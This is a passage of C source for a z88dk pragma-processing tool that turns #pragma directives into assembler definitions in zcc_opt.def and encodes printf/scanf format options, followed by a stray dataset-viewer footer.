fprintf(stderr, "%s:%d Invalid number format %.10s\n",filename, lineno, line);
break;
}
line = skip_ws(end);
if ( *line == ';' ) {
break;
} else if ( *line != ',' ) {
fprintf(stderr, "%s:%d Invalid syntax for #pragma line\n", filename, lineno);
break;
}
line = skip_ws(line);
count++;
if ( count == 9 ) count=0;
}
fprintf(fp,"\nENDIF\n");
fclose(fp);
}
}
void write_defined(char *sname, int32_t value, int export)
{
FILE *fp;
if ( (fp=fopen("zcc_opt.def","a")) == NULL ) {
fprintf(stderr,"%s:%d Cannot open zcc_opt.def file\n", filename, lineno);
exit(1);
}
strip_nl(sname);
fprintf(fp,"\nIF !DEFINED_%s\n",sname);
fprintf(fp,"\tdefc\tDEFINED_%s = 1\n",sname);
if (export) fprintf(fp, "\tPUBLIC\t%s\n", sname);
fprintf(fp,"\tdefc %s = %0#x\n",sname,value);
fprintf(fp,"\tIFNDEF %s\n\tENDIF\n",sname);
fprintf(fp,"ENDIF\n\n");
fclose(fp);
}
void write_need(char *sname, int value)
{
FILE *fp;
if ( (fp=fopen("zcc_opt.def","a")) == NULL ) {
fprintf(stderr,"%s:%d Cannot open zcc_opt.def file\n", filename, lineno);
exit(1);
}
fprintf(fp,"\nIF !NEED_%s\n",sname);
fprintf(fp,"\tdefc\tNEED_%s = %d\n",sname, value);
fprintf(fp,"ENDIF\n\n");
fclose(fp);
}
void write_redirect(char *sname, char *value)
{
FILE *fp;
strip_nl(sname);
value = skip_ws(value);
first_word_only(value);
if ( (fp=fopen("zcc_opt.def","a")) == NULL ) {
fprintf(stderr,"%s:%d Cannot open zcc_opt.def file\n", filename, lineno);
exit(1);
}
fprintf(fp,"\nIF !DEFINED_%s\n",sname);
fprintf(fp,"\tPUBLIC %s\n",sname);
fprintf(fp,"\tEXTERN %s\n",value);
fprintf(fp,"\tdefc\tDEFINED_%s = 1\n",sname);
fprintf(fp,"\tdefc %s = %s\n",sname,value);
fprintf(fp,"ENDIF\n\n");
fclose(fp);
}
typedef struct convspec_s {
char fmt;
char complex;
uint32_t val;
uint32_t lval;
uint32_t llval;
} CONVSPEC;
CONVSPEC printf_formats[] = {
{ 'd', 1, 0x01, 0x1000, 0x01 },
{ 'u', 1, 0x02, 0x2000, 0x02 },
{ 'x', 2, 0x04, 0x4000, 0x04 },
{ 'X', 2, 0x08, 0x8000, 0x08 },
{ 'o', 2, 0x10, 0x10000, 0x10 },
{ 'n', 2, 0x20, 0x20000, 0 },
{ 'i', 2, 0x40, 0x40000, 0x40 },
{ 'p', 2, 0x80, 0x80000, 0 },
{ 'B', 2, 0x100, 0x100000, 0 },
{ 's', 1, 0x200, 0, 0 },
{ 'c', 1, 0x400, 0, 0 },
{ 'I', 0, 0x800, 0, 0 },
{ 'a', 0, 0x400000, 0x400000, 0 },
{ 'A', 0, 0x800000, 0x800000, 0 },
{ 'e', 3, 0x1000000, 0x1000000, 0 },
{ 'E', 3, 0x2000000, 0x2000000, 0 },
{ 'f', 3, 0x4000000, 0x4000000, 0 },
{ 'F', 3, 0x8000000, 0x8000000, 0 },
{ 'g', 3, 0x10000000, 0x10000000, 0 },
{ 'G', 3, 0x20000000, 0x20000000, 0 },
{ 0, 0, 0, 0 }
};
CONVSPEC scanf_formats[] = {
{ 'd', 1, 0x01, 0x1000, 0x01 },
{ 'u', 1, 0x02, 0x2000, 0x02 },
{ 'x', 2, 0x04, 0x4000, 0x04 },
{ 'X', 2, 0x08, 0x8000, 0x08 },
{ 'o', 2, 0x10, 0x10000, 0x10 },
{ 'n', 2, 0x20, 0x20000, 0 },
{ 'i', 2, 0x40, 0x40000, 0x40 },
{ 'p', 2, 0x80, 0x80000, 0 },
{ 'B', 2, 0x100, 0x100000, 0 },
{ 's', 1, 0x200, 0, 0 },
{ 'c', 1, 0x400, 0, 0 },
{ 'I', 0, 0x800, 0, 0 },
{ '[', 0, 0x200000, 0x200000, 0},
{ 'a', 0, 0x400000, 0x400000, 0 },
{ 'A', 0, 0x800000, 0x800000, 0 },
{ 'e', 3, 0x1000000, 0x1000000, 0 },
{ 'E', 3, 0x2000000, 0x2000000, 0 },
{ 'f', 3, 0x4000000, 0x4000000, 0 },
{ 'F', 3, 0x8000000, 0x8000000, 0 },
{ 'g', 3, 0x10000000, 0x10000000, 0 },
{ 'G', 3, 0x20000000, 0x20000000, 0 },
{ 0, 0, 0, 0 }
};
static uint64_t parse_format_string(char *arg, CONVSPEC *specifiers)
{
char c;
int complex, islong;
uint64_t format_option = 0;
CONVSPEC *fmt;
for (complex = 1; (c = *arg); ++arg)
{
if (c == '/')
break;
if ((c == '%') || isspace(c) || (c == '"') || (c == '='))
continue;
if (*arg == '-' || *arg == '0' || *arg == '+' || *arg == ' ' || *arg == '*' || *arg == '.')
{
if (complex < 2)
complex = 2; /* Switch to standard */
format_option |= 0x40000000;
while (!isalpha(*arg))
arg++;
}
else if (isdigit(*arg))
{
if (complex < 2)
complex = 2; /* Switch to standard */
format_option |= 0x40000000;
while (isdigit(*arg) || *arg == '.')
arg++;
}
islong = 0;
if (*arg == 'l')
{
if (complex < 2)
complex = 2;
arg++;
islong = 1;
if (*arg == 'l')
{
arg++;
islong = 2;
}
}
fmt = specifiers;
while (fmt->fmt)
{
if (fmt->fmt == *arg)
{
if (complex < fmt->complex)
complex = fmt->complex;
switch (islong)
{
case 0:
format_option |= fmt->val;
break;
case 1:
format_option |= fmt->lval;
break;
default:
format_option |= (uint64_t)(fmt->llval) << 32;
break;
}
break;
}
fmt++;
}
if (fmt->fmt == 0)
fprintf(stderr, "Ignoring unrecognized %s format specifier %%%c\n", (specifiers == printf_formats) ? "printf" : "scanf", *arg);
}
return format_option;
}
int main(int argc, char **argv)
{
char *ptr;
if ( argc == 2 && strcmp(argv[1],"-sccz80") == 0 ) {
sccz80_mode = 1;
}
strcpy(filename,"<stdin>");
lineno = 0;
while ( fgets(buf, sizeof(buf) - 1, stdin) != NULL ) {
lineno++;
ptr = skip_ws(buf);
if ( strncmp(ptr,"#pragma", 7) == 0 ) {
int ol = 1;
ptr = skip_ws(ptr + 7);
if ( ( strncmp(ptr, "output",6) == 0 ) || ( strncmp(ptr, "define",6) == 0 ) || ( strncmp(ptr, "export",6) == 0 ) ) {
char *offs;
int value = 0;
int exp = strncmp(ptr, "export",6) == 0;
ptr = skip_ws(ptr+6);
if ( (offs = strchr(ptr+1,'=') ) != NULL ) {
value = (int)strtol(offs+1,NULL,0);
*offs = 0;
}
write_defined(ptr,value,exp);
if ( strncmp(ptr, "STACKPTR",8) == 0 ) {
write_defined("REGISTER_SP",value,exp);
}
if ( strncmp(ptr, "nostreams",9) == 0 ) {
write_defined("CRT_ENABLE_STDIO",0,exp);
}
} else if ( strncmp(ptr, "redirect",8) == 0 ) {
char *offs;
char *value = "0";
ptr = skip_ws(ptr+8);
if ( (offs = strchr(ptr+1,'=') ) != NULL ) {
value = offs + 1;
*offs = 0;
}
write_redirect(ptr,value);
} else if ( strncmp(ptr,"printf", 6) == 0 ) {
uint64_t value = parse_format_string(ptr + 6, printf_formats);
write_defined("CLIB_OPT_PRINTF", (int32_t)(value & 0xffffffff), 0);
write_defined("CLIB_OPT_PRINTF_2", (int32_t)((value >> 32) & 0xffffffff), 0);
} else if ( strncmp(ptr,"scanf", 5) == 0 ) {
uint64_t value = parse_format_string(ptr + 5, scanf_formats);
write_defined("CLIB_OPT_SCANF", (int32_t)(value & 0xffffffff), 0);
write_defined("CLIB_OPT_SCANF_2", (int32_t)((value >> 32) & 0xffffffff), 0);
} else if ( strncmp(ptr,"string",6) == 0 ) {
write_pragma_string(ptr + 6);
} else if ( strncmp(ptr, "data", 4) == 0 ) {
write_bytes(ptr + 4, 1);
} else if ( strncmp(ptr, "byte", 4) == 0 ) {
write_bytes(ptr + 4, 0);
} else if ( sccz80_mode == 0 && strncmp(ptr, "asm", 3) == 0 ) {
fputs("__asm\n",stdout);
ol = 0;
} else if ( sccz80_mode == 0 && strncmp(ptr, "endasm", 6) == 0 ) {
fputs("__endasm;\n",stdout);
ol = 0;
} else if ( sccz80_mode == 1 && strncmp(ptr, "asm", 3) == 0 ) {
fputs("#asm\n",stdout);
ol = 0;
} else if ( sccz80_mode == 1 && strncmp(ptr, "endasm", 6) == 0 ) {
fputs("#endasm\n",stdout);
ol = 0;
} else if (strncmp(ptr, "-zorg=", 6) == 0 ) {
/* It's an option, this may tweak something */
write_defined("CRT_ORG_CODE", strtol(ptr+6, NULL, 0), 0);
} else if ( strncmp(ptr, "-reqpag=", 8) == 0 ) {
write_defined("CRT_Z88_BADPAGES", strtol(ptr+8, NULL, 0), 0);
} else if ( strncmp(ptr, "-defvars=", 8) == 0 ) {
write_defined("defvarsaddr", strtol(ptr+8, NULL, 0), 0);
} else if ( strncmp(ptr, "-safedata=", 10) == 0 ) {
write_defined("CRT_Z88_SAFEDATA", strtol(ptr+9, NULL, 0), 0);
} else if ( strncmp(ptr, "-startup=", 9) == 0 ) {
write_defined("startup", strtol(ptr+9, NULL, 0), 0);
} else if ( strncmp(ptr, "-farheap=", 9) == 0 ) {
write_defined("farheapsz", strtol(ptr+9, NULL, 0), 0);
} else if ( strncmp(ptr, "-expandz88", 9) == 0 ) {
write_defined("CRT_Z88_EXPANDED", 1, 0);
} else if ( strncmp(ptr, "-no-expandz88", 9) == 0 ) {
write_defined("CRT_Z88_EXPANDED", 0, 0);
} else {
printf("%s\n",buf);
}
if ( ol ) {
fputs("\n",stdout);
}
} else if ( sccz80_mode == 0 && strncmp(ptr, "#asm", 4) == 0 ) {
fputs("__asm\n",stdout);
} else if ( sccz80_mode == 0 && strncmp(ptr, "#endasm", 7) == 0 ) {
fputs("__endasm;\n",stdout);
} else if ( sccz80_mode == 1 && strncmp(ptr, "__asm", 5) == 0 ) {
fputs("#asm\n",stdout);
} else if ( sccz80_mode == 1 && strncmp(ptr, "__endasm", 8) == 0 ) {
fputs("#endasm;\n",stdout);
} else {
int skip = 0;
if ( (skip=2, strncmp(ptr,"# ",2) == 0) || ( skip=5, strncmp(ptr,"#line",5) == 0) ) {
int num=0;
char tmp[FILENAME_MAX+1];
ptr = skip_ws(ptr + skip);
tmp[0]=0;
sscanf(ptr,"%d %s",&num,tmp);
if (num) lineno=--num;
if (strlen(tmp)) strcpy(filename,tmp);
}
fputs(buf,stdout);
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.